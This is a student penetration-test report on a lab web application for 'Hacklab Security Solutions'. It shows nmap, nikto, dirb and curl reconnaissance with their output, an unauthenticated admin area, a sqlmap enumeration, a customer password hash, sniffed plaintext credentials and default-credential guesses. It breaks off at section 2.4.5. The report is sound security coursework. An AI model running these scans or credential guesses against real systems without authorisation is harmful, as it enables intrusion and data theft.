

Hacklab Security Solutions

Web Application Penetration Test

Paul Michael Oates

CMP319: Web Application Penetration Testing

BSc Ethical Hacking Year 3 Semester 1

2022/23

Note that Information contained in this document is for educational purposes only.

Abstract

Hacklab Security Solutions Inc has decided to take their business online to expand and potentially reach new customers. They currently have a website however, have some concerns about the security of the web application. To identify any security issues, and to assess the risk, an Abertay University Ethical Hacking student has been employed to run a penetration test against the system. The OWASP Web Security Testing Guide was followed to ensure a comprehensive security assessment was performed. A Kali Linux machine was installed on the network and was used to perform the penetration test. This resulted in several vulnerabilities being identified on the web application, including but not limited to, SQL injection, path traversal, no SSL/TLS certificate, and Cross Site Scripting (XSS). This could result in loss of customer information which causes damage to the business' reputation, and in extreme case can result in fines against the company. To prevent this a redesign of the web application is necessary.

1 INTRODUCTION

1.1 BACKGROUND

There are around 1.14 billion websites on the World Wide Web today (siteify, 2022). Since the World Wide Web's founding in 1991, there has been an explosion in the number of websites serving various purposes, from e-commerce to education. With this explosion in online services, there has been an accompanying explosion in software which allow these websites to run, allowing faster loading times, better storage techniques, and improved security. However, this newfound complexity also has its issues, services becoming outdated, misconfigured, and vulnerable.

To improve their business Hacklab Security Solutions have recently set up a website however they have concerns around the security of the Web Application. The company have therefore employed an ethical hacking student to test the application's security. I intend to run the OWASP Web Application Penetration Test, which is regularly updated to catch modern vulnerabilities. It is a web application penetration test which allows a mock attack of the web application to identify vulnerabilities in the system. Tools such as OWASP ZAP, Nmap and Netcat are effective tools that will enable the penetration tester to identify vulnerabilities as they arise. The OWASP methodology was chosen over OSSTMM as by design it is better suited for testing websites security.

Figure 1. OWASP Top 10 Web Application Security Risks Mapping from 2017 to 2021

Figure 1 OWASP Top ten

(securityboulevard.com,2022)

Figure 1 shows that in the last four years, there has been a change in the main vulnerabilities that are found on websites, with items such as Injection Attacks becoming less common and Broken Access Control becoming a more popular attack vector. 94% of websites tested had issues with Broken Access Control (securityboulevard.com, 2022). By following the OWASP methodology, it will enable a comprehensive evaluation of the website's security to identify issues and possible solutions.

1.2 AIMS

Due to concerns about the security of their website, "Hacklab Security Solutions" employed an ethical hacking student at Abertay University, to test the application's security. This was carried out in order to :

- Simulate the risks an attacker poses to “Hacklab Security Solutions” Web Application
- Follow the OWASP Website Pen-testing Methodology to undertake the attack on the system
- Document any findings which will be presented to “Hacklab Security Solutions” detailing vulnerabilities and possible solutions

2 PROCEDURE AND RESULTS

2.0 OVERVIEW OF PROCEDURE

The OWASP's Web Security Testing Guide was selected to test the Web Application's security due to its thorough testing method. The testing methodology is broken into twelve main sections.

- 4.0 Introduction and Objectives
- 4.1 Information Gathering
- 4.2 Configuration and Deployment Management Testing
- 4.3 Identity Management Testing
- 4.4 Authentication Testing
- 4.5 Authorisation Testing
- 4.6 Session Management Testing
- 4.7 Input Validation Testing
- 4.8 Testing for Error Handling
- 4.9 Testing for Weak Cryptography
- 4.10 Business Logic Testing
- 4.11 Client-side Testing

Each section is broken into further subsections to ensure all aspects of a website's security are tested, e.g., 4.5 Authorisation Testing broken into:

- 4.5.1 Testing Directory Traversal File Include
- 4.5.2 Testing for Bypassing Authorisation Schema
- 4.5.3 Testing for Privilege Escalation
- 4.5.4 Testing for Insecure Direct Object References

A Kali Linux Virtual Machine and external tools such as OWASP Zap and Cyber Chef were used to test the web application.

Not all sections/subsections are relevant to the pen-test of Hacklab Security Solutions and will be noted with justification. One such section is 4.11 Client-side Testing, as this is covered throughout other sections of the methodology. No vulnerabilities discovered will be discussed with anyone prior to disclosure to the client.

2.1 INFORMATION GATHERING

2.1.1 Conduct Search Engine Discovery for Information Leakage

Due to the fictitious nature of the penetration test, this was not possible.

2.1.2 Fingerprint Web Server

Fingerprinting a Web Server is the process of identifying services and operating systems on the web server. This allows an attacker to identify vulnerabilities in the system. Initially the Nmap tool with the -sV (Service Version), -O (Operating System) and -p- (All ports) switches were used to fingerprint the webserver.

```
(kali㉿kali)-[~]
$ sudo nmap -sV -O -p- 192.168.1.10
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-21 07:04 EST
Nmap scan report for 192.168.1.10
Host is up (0.00089s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.4a
80/tcp    open  http    Apache httpd 2.4.3 ((Unix) PHP/5.4.7)
3306/tcp  open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:46:62:3D (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Unix
```

Figure 2 Nmap scan of Web Server

Figure 2 shows three services and their versions running on the host:

- FTP – File transfer protocol version 2.3.4
- HTTP – Apache 2.4.3 , PHP 5.4.7
- MySQL – MySQL

2.1.3 Review Webserver Metafiles for Information Leakage

The Web Application was then reviewed for files that may leak information about the application, such as software versions and the OS. Initially, the 'robots.txt' file was accessed.

Figure 3 Web Server's robots.txt

Figure 3 shows that the 'robots.txt' informs search engines not to document the 'schema.sql' file. By visiting '192.168.1.10/schema.sql' we can see it is accessible to anyone and the contents include the setup of the MYSQL database for the application.

```

1 -- MySQL dump 10.13 Distrib 5.5.27, for Linux (i686)
2 --
3 -- Host: localhost      Database: aa2000
4 --
5 -- Server version      5.5.27
6
7 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
8 /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
9 /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
10/*!40101 SET NAMES utf8 */;
11/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
12/*!40103 SET TIME_ZONE='+00:00' */;
13/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
14/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
15/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
16/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
17
18 --
19 -- Table structure for table `asset_archive`
20 --
21
22 DROP TABLE IF EXISTS `asset_archive`;
23/*!40101 SET @saved_cs_client      = @@character_set_client */;
24/*!40101 SET character_set_client = utf8 */;
25 CREATE TABLE `asset_archive` (
26   `productID` int(11) NOT NULL,
27   `name` varchar(50) NOT NULL,
28   `price` int(20) NOT NULL,
29   `image` varchar(50) NOT NULL,
30   `details` text NOT NULL,
31   `quantity` int(20) NOT NULL,
32   `date_created` varchar(50) NOT NULL
33 ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
```

Figure 4 schema.sql contents

Figure 4 shows the 'schema.sql' file, which is the instructions to reformat the tables. This file contained information regarding the structure of the tables for user accounts and products. Full file can be viewed in Appendix A.

The 'phpinfo.php' file was tested to see if it was visible.

The screenshot shows a web browser window with the URL '192.168.1.10/phpinfo.php'. The title bar says 'phpinfo()' and the address bar shows '192.168.1.10/phpinfo.php'. Below the address bar is a navigation bar with links to 'Kali Linux', 'Kali Tools', 'Kali Docs', 'Broken Web Apps', and 'Web Hacking'. The main content area displays the 'PHP Version 5.4.7' page. It features a large 'php' logo in the top right corner. The page contains a table with various system information:

System	Linux box 3.0.21-tinycore #3021 SMP Sat Feb 18 11:54:11 EET 2012 i686
Build Date	Sep 19 2012 11:10:36
Configure Command	'./configure' '--prefix=/opt/lampp' '--with-apxs2=/opt/lampp/bin/apxs' '--with-config-file-path=/opt/lampp/etc' '--with-mysql=mysqlnd' '--enable-inline-optimization' '--disable-debug' '--enable-bcmath' '--enable-calendar' '--enablectype' '--enable-ftp' '--enable-gd-native-ttf' '--enable-magic-quotes' '--enable-shmop' '--disable-sigchild' '--enable-sysvsem' '--enable-sysvshm' '--enable-wddx' '--with-gdbm=/opt/lampp' '--with-jpeg-dir=/opt/lampp' '--with-png-dir=/opt/lampp' '--with-freetype-dir=/opt/lampp' '--with-zlib=yes' '--with-zlib-dir=/opt/lampp' '--with-openssl=/opt/lampp' '--with-xsl=/opt/lampp' '--with-ldap=/opt/lampp' '--with-gd' '--with-imap-ssl' '--with-imap=/opt/lampp' '--with-gettext=/opt/lampp' '--with-mssql=/opt/lampp' '--with-sybase-ct=/opt/lampp' '--with-interbase=shared,/opt/interbase' '--with-mysql-sock=/opt/lampp/var/mysql/mysql.sock' '--with-oci8=shared,instantclient,/opt/lampp/lib/instantclient' '--with-mcrypt=/opt/lampp' '--with-mhash=/opt/lampp' '--enable-sockets' '--enable-mbstring-all' '--with-curl=/opt/lampp' '--enable-mbregex' '--enable-zend-multibyte' '--enable-exif' '--with-bz2=/opt/lampp' '--with-sqlite-shared,/opt/lampp' '--with-sqlite3=/opt/lampp' '--with-libxml-dir=/opt/lampp' '--enable-soap' '--enable-pcntl' '--with-mysqli=mysqlnd' '--with-pgsql-shared,/opt/lampp/postgresql' '--with-iconv' '--with-pdo-mysql=mysqlnd' '--with-pdo-pgsql=/opt/lampp/postgresql' '--with-pdo-sqlite' '--enable-intl' '--with-icu-dir=/opt/lampp' '--enable-fileinfo' '--enable-phar'
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled

Loaded Configuration File	/opt/lampp/etc/php.ini
Scan this dir for additional	(none)

Figure 5 PHP information page

Figure 5 shows that 'phpinfo.php' can be viewed. This file disclosed the locations of the configuration files, computer name, PHP version, and the Operating System.

Section 2.1.3 has managed to identify the OS as Tiny Core Linux running Apache and PHP Version 5.4.7.

2.1.4 Enumerate Applications on a Webserver

This step was undertaken to identify what services were running on the web server by scanning all ports in order to identify any non-standard ports on the webserver. Nmap with the following command recommended by OWASP was ran.

```
nmap -Pn -sT -sV -p0-65535 192.168.1.10
```

```
(kali㉿kali)-[~]
$ nmap -Pn -sT -sV -p0-65535 192.168.1.10
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-27 13:12 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --sys
Nmap scan report for 192.168.1.10
Host is up (0.0013s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.4a
80/tcp    open  http    Apache httpd 2.4.3 ((Unix) PHP/5.4.7)
3306/tcp  open  mysql   MySQL (unauthorized)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.03 seconds
```

Figure 6 OWASP Nmap scan

Figure 6 shows three services FTP, HTTP, and MySQL. No additional services were identified.

2.1.5 Review Webpage Content for Information Leakage

The web application was then searched for comments and metadata. Web developers commonly comment on code, which can lead to involuntary information disclosure, such as database passwords and software versions.

OWASP Zap's search functionality was an efficient way to traverse through the website search queries such as 'passwd' and 'TODO'. Also, pages of interest such as the admin login page and user login page were searched to look for interesting comments.

```
<title>hacktdu security</title>
<!--Bootstrap core CSS-->
<link href="assets/css/bootstrap.min.css" rel="stylesheet">
<!--Custom styles for this template-->
<!--Just for debugging purposes. Don't actually copy this line!-->
<!--
[if lt IE 9]><script src=".../assets/js/ie8-responsive-file-warning.js"></script>
<![endif]
-->
<!--HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries-->
<!--
ml > head > link
```

Figure 7 comment on the login page

Figure 7 shows a comment remaining from debug in the file.

```
Search HTML  
<!--*** Denis Smith, d.smith@hacklab.com, phone number 01382 99999. Php expert.-->  
<!DOCTYPE html>  
<html lang="en"> [scroll]
```

Figure 8 information leakage

Figure 8 shows a PHP expert's email address and phone number. This information could be used to contact Denis Smith.

2.1.6 Identify Application Entry points

Identifying the application's entry points (login pages) allows for the enumeration that an attacker is likely to exploit.

Before login:

- Login page
 - Username
 - password
- Sign up page
 - Gender
 - First name
 - middle name
 - last name
 - email
 - password
 - Confirm Password
 - DOB
 - Address
 - City
 - Contact number
- Search Products
- admin login
 - Username
 - Password
- Forgot Password
 - Email

After login

- Product Search
- Email
 - Name
 - Email
 - Subject
 - Message
- Announcement
 - Comment

- Change details
 - Gender
 - First Name
 - Middle Name
 - Last Name
 - DOB
 - Address
 - City
 - Contact Number
 - Email
 - New Password
 - Profile Picture

2.1.7 Map execution Paths through application

To map the execution paths through the webpage using OWASP ZAP's spidering tool to understand workflows and the application's layout.

Figure 9 OWASP ZAP spider scan

Figure 9 shows OWASP ZAP discovered 527 URLs on the Web Server. The full scan is in Appendix B. 'Dirb' was also run to map out relevant URLs that OWASP ZAP may have missed.

```

```

Figure 10 ‘dirb’ scan

Figure 10 shows the existence of an admin directory and a interface. The full scan is in Appendix C.

2.1.8 Fingerprint Web Application Framework

The Web Server was fingerprinted to identify the underlying services that the website is running. Using ‘OWASP ZAP’, ‘whatweb’ and ‘curl’, we can identify what services were running.

```
HTTP/1.1 200 OK
Date: Wed, 21 Dec 2022 12:52:51 GMT
Server: Apache/2.4.3 (Unix) PHP/5.4.7
X-Powered-By: PHP/5.4.7
Content-Length: 3803
Content-Type: text/html
```

Figure 11 OWASP ZAP X-powered by

Figure 11 shows that OWASP ZAP identified through the header of the webpages that the web server is Apache 2.4.3 running PHP 5.4.7. The following curl command backed up OWASP ZAP's findings.

```
curl -v http://192.168.1.10
* Trying 192.168.1.10:80 ...
* Connected to 192.168.1.10 (192.168.1.10) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.1.10
> User-Agent: curl/7.84.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 29 Dec 2022 13:27:20 GMT
< Server: Apache/2.4.3 (Unix) PHP/5.4.7
< X-Powered-By: PHP/5.4.7
< Content-Length: 7443
< Content-Type: text/html
<
```

Figure 12 curl command

Figure 12 shows 'curl' identifying the same software and versions as OWASP ZAP. Using 'whatweb', we can see more detailed information.

```
whatweb 192.168.1.10
[(kali㉿kali)-[~]]$ whatweb 192.168.1.10
http://192.168.1.10 [200 OK] Apache[2.4.3], Bootstrap, Country[RESERVED][ZZ], Email[sales@UADHacklab.com], HTML5, HTTPS[SSL][Apache/2.4.3 (Unix) PHP/5.4.7], IP[192.168.1.10], JQuery, Lightbox, PHP[5.4.7], PasswordField[password], Script[text/javascript], Title[Hacklab Security], X-Powered-By[PHP/5.4.7]
```

Figure 13 'whatweb' scan

Figure 13 shows 'whatweb' identified the Web Server is running 'Apache 2.4.3' and 'PHP 5.4.7' as well as 'JQuery', and an email of 'sales@UADHacklab.com'. All tools have identified the PHP and Apache versions.

2.1.9 Fingerprint Web Application

The section was completed in 2.1.8, merged within the previous section.

2.1.10 Map Application Architecture

The fictitious nature of this assignment means this section is not required.

2.2 CONFIGURATION AND DEPLOYMENT MANAGEMENT TESTING

2.2.1 Test Network Infrastructure Configuration

The network infrastructure configuration was tested to identify if the applications configurations were secure and if the services running were susceptible to any known vulnerabilities. 'nikto', a web vulnerability scanner was ran:

```
nikto -host 192.168.1.10
```

The screenshot shows the output of the nikto command-line tool. It lists various findings across different sections like Server, X-headers, Content-Type, etc. Key findings include:

- Server: Apache/2.4.3 (Unix) PHP/5.4.7
- X-headers: x-powered-by, anti-clickjacking, XSS-Protection, Content-Type-Options.
- File types checked: PDF, Word, Excel, PPT, JPEG, PNG, GIF, TIFF, SVG, ZIP, GZ, TAR, RAR, PDF/A.
- PHP version: PHP/5.4.7 appears to be outdated.
- Apache versions: Apache/2.4.3 appears to be outdated.
- OSVDB references: OSVDB-12184, OSVDB-3233, OSVDB-3268, OSVDB-3093.
- Default scripts: /cgi-bin/printenv, /test-cgi.
- Administrative paths: /admin/index.php.
- Database paths: /database/.
- File indexing: /img/, /icons/.
- Logins: /login.php.
- Statistics: 9687 requests, End Time: 2022-12-29 09:09:19 (GMT-5).
- Total hosts tested: 1.

Figure 14 nikto vulnrebties and directory

Figure 14 shows that 'nikto' discovered several issues:

- Filenames are susceptible to a bruteforce attack
- No XSS protection header
- Out-of-date software versions

'nikto' also identified listable directories, including the '/database', '/admin' and '/test-cgi' directories.

Figure 17 OWASP ZAP alerts

Figure 17 shows OWASP ZAP scan which identified several critical issues with the Web Server, including Cross Site Scripting (XSS) and SQL Injection. This will be discussed later in the document.

2.2.2 Test Application Platform Configuration

Not applicable due to the fictitious nature of the website

2.2.3 Test File Extensions Handling for Sensitive Information

Not applicable due to the fictitious nature of the website

2.2.4 Review Old Backup and Unreferenced Files for Sensitive Information

Not applicable due to the fictitious nature of the website

2.2.5 Enumerate Infrastructure and Application Admin Interfaces

Previous scans on the Web Application identified the presence of an admin directory. In this section, the ‘dirb’ tool was used alongside manual searches for other directories. See Appendix C for the ‘dirb’ scan output.

```

Figure 18 ‘dirb’ scan

Figure 18 shows the ‘/admin/’ directory was found by ‘dirb’.

Index of /admin/ADMIN

Name	Last modified	Size	Description
Parent Directory		-	
ADS/	2017-07-13 14:57	-	
AS/	2017-07-13 15:00	-	
OOS/	2017-07-13 15:01	-	
SERVER/	2017-07-08 19:53	-	

Figure 19 '/admin/ADMIN' directory

Figure 19 shows the identified admin/ADMIN directory containing the administrator site

The screenshot shows a web application interface. At the top, the URL is 192.168.1.10/admin/ADMIN/ADS/. The main content area is titled "Customer Management". Below this, there is a video player showing a scene from a movie with the text "We will never give you up" overlaid. To the right of the video, there is some text: "Date: July 1, 2017 - 08:07 AM" and "We will certainly not give you up...". There is a blue "Read More" button. On the far right, there is a sidebar with a navigation menu:

- Home
- Customers (User icon)
- Customer List (User icon)
- Announcement (Newspaper icon)
- Messages (Email icon)

Figure 20 admin management page

Figure 20 shows the 'admin/ADMIN/ADS/' directory, which is accessible by anyone.

2.2.6 Test HTTP Methods

The web application was checked to show what HTTP verbs were usable on the site, ensuring no lesser-known verbs were in use as these can be used for malicious purpose. A Nmap with the ‘http-methods’ script was run.

```
(kali㉿kali)-[~] $ nmap --script http-methods 192.168.1.10
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-29 11:00 EST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.10
Host is up (0.00029s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3306/tcp  open  mysql
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

Figure 21 Nmap scan for HTTP methods

Figure 21 shows the standard GET, HEAD, POST, and OPTIONS verbs were in use. No non-standard verbs are in use.

2.2.7 Test HTTP Strict Transport Security

The web application was tested for encryption. If the web application can be loaded through an unencrypted connection it would be vulnerable to a ‘man in the middle’ attack. The web application was loaded using curl -s -D- switches and searched using ‘grep -i strict’ .

```
(kali㉿kali)-[~] $ curl -s -D- http://192.168.1.10 | grep -i strict
```

Figure 22 curl command

Figure 22 shows no response from the web application was received, therefore this proves that the website is not encrypted.

2.2.8 Test RIA Cross Domain Policy

Not present in any scans, not applicable.

2.2.9 Test File Permission

Not possible to test the backend, not applicable.

2.2.10 Test for Subdomain Takeover

Not possible to test due to its fictitious nature, not applicable.

2.2.11 Test Cloud Storage

Not possible to test due to its fictitious nature, not applicable.

2.3 IDENTITY MANAGEMENT TESTING

2.3.1 Test Role Definition

The OWASP methodology identifies 4 key user types that are recommended to be used. Each have different roles and responsibilities. These include:

- Administrator
- Auditor
- Support Engineer
- Customer

The ‘sqlmap’ tool was ran to perform a SQL injection attack in order to enumerate the user types.

```
+---+  
| 1 |typeID,user_type  
| 2 |1,ADVERTISING Admin  
| 3 |2,ASSET Admin  
| 4 |3,ONLINE ORDERING Admin  
| 5 |4,SUPER Admin  
| 6 |  
| 7 |
```

Figure 23 user types

Figure 23 shows that there are five types of users present on the web application. The account types are:

- Advertising
- Asset
- Online Ordering
- Super
- Customer

The OWASP recommendation on key user types has not been followed. It was found that all user types are set to ‘Admin’. All users with ‘Admin’ user type could alter product information.

The screenshot shows a web-based application for managing products. At the top, there's a navigation bar with 'List / Critical' and a search bar labeled 'Search for...'. A note below the search bar says '(Note: You can search the Name of the product Only.)'. On the right, there's a vertical sidebar with some icons. Below the header is a button bar with '+ Add Products' (green) and 'Delete' (red). The main area is a table with columns: ID, Name, Price, Quantity, and Actions. The table contains 8 rows of camera data. Each row has an 'Edit' (green), 'View' (blue), and 'Archive' (green) button in the Actions column.

<input type="checkbox"/> ID	Name	Price	Quantity	Actions
<input type="checkbox"/> 1	Professional Standard Box Camera	300.00	91	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 2	CCD Sony 1/3 Dome Type Camera	600.00	95	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 3	KD-DW36RD48 IP Outdoor N.V Camera Wired/ Wireless	500.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 4	KD-DP73XD22 With zoom camera ZCN-21Z22, 22x10 zoom	700.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 5	220X Day/Night Color CCD ZOOM Camera with 1/4 ?i	800.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 6	Bullet Type Covert Camera	700.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 7	Weatherproofed Camera with Infra-Red	665.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 8	ACTI PTZD91	780.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>

Figure 24 Product page for altering data

Figure 24 shows the product information page including price, quantity, and actions. The price of the Professional Standard Box Camera was modified to prove that an 'Admin' user could make a change in the database.

This screenshot shows the same product management interface as Figure 24, but with a modification. The 'Price' for the first item ('Professional Standard Box Camera') has been changed from 300.00 to 301.00. The rest of the data remains the same. The interface includes a header with '192.168.1.10/admin/ADMIN/AS/asset.php', a navigation bar with 'CRM', 'ASSET', 'ONLINE ORDERING', and 'Log Out', and a sidebar with 'Home', 'Product', and 'Product'.

<input type="checkbox"/> ID	Name	Price	Quantity	Actions
<input type="checkbox"/> 1	Professional Standard Box Camera	301.00	91	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 2	CCD Sony 1/3 Dome Type Camera	600.00	95	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 3	KD-DW36RD48 IP Outdoor N.V Camera Wired/ Wireless	500.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 4	KD-DP73XD22 With zoom camera ZCN-21Z22, 22x10 zoom	700.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 5	220X Day/Night Color CCD ZOOM Camera with 1/4 ?i	800.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 6	Bullet Type Covert Camera	700.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>
<input type="checkbox"/> 7	Weatherproofed Camera with Infra-Red	665.00	100	<button>Edit</button> <button>View</button> <button>Archive</button>

Figure 25 Altered table

Figure 25 shows that the price has been changed to £301. It was then tested to see if customer details including password hashes could be discovered.

The screenshot shows a web browser window titled 'Hacklab Security' with the URL '192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1'. The main content area displays 'Customer Information' with fields for First name (Rick), Middle name (God), Last name (Astley), Date of Birth (09/15/1995), Gender (Male), Address (1 Bell Street, Dundee), City (Dundee), Contact Number (012345678), Email (hacklab@hacklab.com), and Password (7052cad6b415f4272c11986aa9a50a7c3). To the right is a sidebar with links like Home, Customers, Customer List, Announcement, and Messages. Below the main content is a developer tools interface showing the HTML structure and the inspect element view where the password field is highlighted as type="text".

Figure 26 Customer Information

Figure 26 shows customer information including password hashes could be viewed by all Admins.

Note: Using the inspect element, the Password field was changed to text.

2.3.2 Test User Registration Process

The registration process was tested with real credentials to understand how the web application registers a new users.

A screenshot of a web-based user registration form. The fields and their values are:

- Gender: Male
- First Name: Paul
- Last Name: Michael
- Email: 2001642@uad.ac.uk
- DOB: 02 / 02 / 2002
- Address: Glasgow
- City: Manila
- Zip: 999

Figure 27 Real credentials sign-up

Figure 27 shows the credentials worked and the user was registered. The credential fields were tested for any limitations.

Figure 28 18+ error message

Figure 28 shows there is a date restriction on the DOB field.

Figure 29 Too short password

Figure 29 shows the attempted use of a password of '111' which resulted in this error message

Figure 30 Pre-used email

Figure 30 shows another constraint is an unique entry in the email field is required for each account. The following shows the OWASP checklist results:

Question	Answer
Can anyone register for access	No. The user's age must be above 18+.
Are registrations vetted by a human prior to provisioning, or are they automatically granted if the criteria are met	Account registered if criteria met.
Can the same person or identity register multiple times	No. The account requires a unique entry in the email field.
Can users register for different roles or permissions	No. User can only register for an account. The role is not selectable.
What proof of identity is required for a registration to be successful	None.
Are registered identities verified	No.

Validate the registration process:

Question	Answer
Can identity information be easily forged or faked	Yes. No user identity verification is performed.
Can the exchange of identity information be manipulated during registration?:	Yes. No encryption present. Data is sent using a POST request.

Your personal information [Back](#)

Gender	Male
First name	1
Middle name	1
Last name	1
Date of Birth	11 / 11 / 1111
Address	1
City	Dundee
Contact Number	1
Email	1
New Password	

Figure 31 user credentials

Figure 31 shows that the credentials of '1' above worked. The password was 1234567.

2.3.3 Test Account Provisioning Process

The account provision process was tested using the OWASP Checklist provided below.

Question	Answer
Is there any verification, vetting and Authorisation of provisioning requests	No
Is there any verification, vetting and Authorisation of de-provisioning requests	No
Can an administrator provision other administrators or just users?	Can create users only
Can an administrator or other user provision accounts with privileges greater than their own	No
How are the files or resources owned by the de-provisioned user managed? Are they deleted? Is access transferred	Accounts are labelled inactive

```
tb_user.csv

1 |CustomerID,City,Email,Gender,status,Address,Birthday,Las
2 1,Dundee,hacklab@hacklab.com,Male,active,"1 Bell Street,
3 2,Perth,IFerguson@hacklab.com,Male,active,2 Brown Street
4 3,Dundee,Colin@test.com,Male,inactive,Dundee,0000-00-00,
5 4,Dundee,test@test.com,Male,inactive,"1 Bell Street, Dun
6 5,Dundee,5,Male,inactive,1,1111-11-11,5,fcea920f7412b5da
7
8
```

Figure 32 Account labels

Figure 32 shows that deleted accounts were labelled inactive when a user deleted them.

2.3.4 Testing for Account Enumeration and Guessable User Account

The Web Application was tested to see if accounts on the system were easily guessable and to identify any mitigations the developers have implemented.

Figure 33 Incorrect username/password

Figure 33 shows the response to the username password credentials of:

- Root / Toor
- Username / Password
- Admin/Admin

Figure 34 Incorrect password

Figure 34 shows the response to a valid username 'hacklab@hacklab.com' but an incorrect password.

Figure 35 Admin incorrect credentials

Figure 35 shows the admin login page's response to incorrect username, password, and username/password combinations.

2.3.5 Testing for Weak or Unenforced Username Policy

Weak or unenforced username policies were tested using the email address '1'. The system accepted the value '1' as a valid email / username. This suggests there is no weak or unenforced username policy in place.

Figure 36 user credentials

Figure 36 shows the unique email requirement for new user registration.

2.4 AUTHENTICATION TESTING

2.4.1 Testing for Credentials Transported over an Encrypted Channel

As previously shown in section 2.2.7 the connection is unencrypted, leaving the web server open to a 'man-in-the-middle attack'. Wireshark was used to packet sniff while logging into the account with the credentials (hacklab@hacklab.com / hacklab).

```

Figure 37 Wireshark Capture

Figure 37 shows us the Wireshark capture, we can see the URL-encoded email address and password highlighted above. Using ‘Cyber Chef’, we can URL-decode this and see the credentials.

Recipe	Input	Output
URL Decode	email=hacklab%40hacklab.com&password=hacklab&submit=GET /user_index.php HTTP/1.1	email=hacklab@hacklab.com&password=hacklab&submit=GET /user_index.php HTTP/1.1

Figure 38 Cyber Chef URL Decode

Figure 38 shows that by URL decoding. The credentials are ‘hacklab@hacklab.com’ with a password of ‘hacklab’. No encryption is present on the Web Server.

2.4.2 Testing for Default Credentials

Due to the nature of modern websites built upon standard services, default passwords are common to gain access to these services. This poses a risk as these passwords are also easily guessable. Initially the following common credentials were tried:

- root / toor
- admin/admin
- root /root
- password /password

Figure 39 Incorrect credentials

Figure 39 shows the result of various combinations of these passwords.

2.4.3 Testing for Weak Lock Out Mechanism

There was no limit to the number of password attempts made on the web server despite repeatedly trying different passwords on the admin login page without triggering any lockout mechanism.

2.4.4 Testing for Bypassing Authentication Schema

Forced Directory Browsing

In section 2.2.5 'dirb' revealed the 'admin/ADMIN' directory. This directory was tested to see if it could be bypassed.

A screenshot of a Kali Linux web browser window. The title bar reads "Kali Linux" and "Index of /admin/ADMIN". The address bar shows the URL "192.168.1.10/admin/ADMIN/". Below the address bar is a navigation bar with links to "Kali Linux", "Kali Tools", "Kali Docs", "Broken Web Apps", and "Web Hacking". The main content area displays a table titled "Index of /admin/ADMIN". The table has columns: "Name", "Last modified", and "Size Description". The data in the table is as follows:

Name	Last modified	Size Description
Parent Directory		-
ADS/	2017-07-13 14:57	-
AS/	2017-07-13 15:00	-
OOS/	2017-07-13 15:01	-
SERVER/	2017-07-08 19:53	-

Figure 40 Admin Directory

Figure 40 shows it is possible to access the admin directory by visiting <http://192.168.1.10/admin/ADMIN>

All proceeding pages are available to access without any credentials.

The screenshot shows a web browser window titled 'Hacklab Security' with the URL '192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1'. The page displays 'Customer Information' for a customer named 'Rick'. The form fields include:

- First name:** Rick
- Middle name:** God
- Last name:** Astley
- Date of Birth:** 09 / 15 / 1995
- Gender:** Male
- Address:** 1 Bell Street, Dundee
- City:** Dundee
- Contact Number:** 012345678
- Email:** hacklab@hacklab.com
- Password:** (redacted)

On the right side, there is a sidebar with links: Home, Customers (which is selected), Customer List, Announcements, and Messages.

Figure 41 Customer Information

Figure 41 shows that without any credentials, it was possible to access customer information.

2.4.5 Testing for Vulnerable Remember Password

